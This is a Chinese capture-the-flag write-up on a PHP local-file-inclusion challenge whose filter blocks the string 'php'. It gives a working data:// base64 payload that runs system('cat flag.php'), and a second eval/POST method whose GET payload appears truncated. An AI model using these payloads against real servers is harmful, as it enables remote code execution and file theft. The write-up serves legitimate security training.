打开题目,看到代码
if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); }
这里替换php为???,所以需要使用其他的伪协议且get参数里面不能包含php。
方法一:
使用base64加密以后执行
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
这里PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=由<?php system(‘cat flag.php’);加密而来。
发送以后查看网页源代码得到flag。
方法二:
使用eval函数和post传参,get参数加:
?file=data://text/plain,
post参数为:
1=system("tac flag.php");
得到flag。
补充:
cat命令:
连接文件并打印到标准输出设备上,cat经常用来显示文件的内容。
tac命令:
反序输出文件的内容,文件的最后一行显示在第一行
它可以对调试日志文件提供了很大的帮助,扭转日志内容的时间顺序。